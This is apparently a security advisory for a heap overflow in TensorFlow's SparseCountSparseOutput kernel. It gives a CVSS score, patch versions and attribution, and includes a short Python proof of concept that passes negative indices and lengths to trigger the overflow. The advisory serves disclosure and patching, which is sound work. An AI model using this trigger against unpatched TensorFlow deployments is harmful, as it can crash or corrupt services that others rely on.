PT-2026-59716

Published

2026-07-09

·

Updated

2026-07-09

Description by

CVSS 3.1
7.6
High
MetricsAV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

Impact

The [implementation of SparseCountSparseOutput](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count ops.cc#L168-L273) is vulnerable to a heap overflow:
python
import tensorflow as tf
import numpy as np

tf.raw ops.SparseCountSparseOutput(
 indices=[[-1,-1]],
 values=[2],
 dense shape=[1, 1],
 weights=[1],
 binary output=True,
 minlength=-1,
 maxlength=-1,
 name=None)

Patches

The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia.
Exploitability
Fix
Vendors
Affected products
Related identifiers
PYSEC-2026-3097
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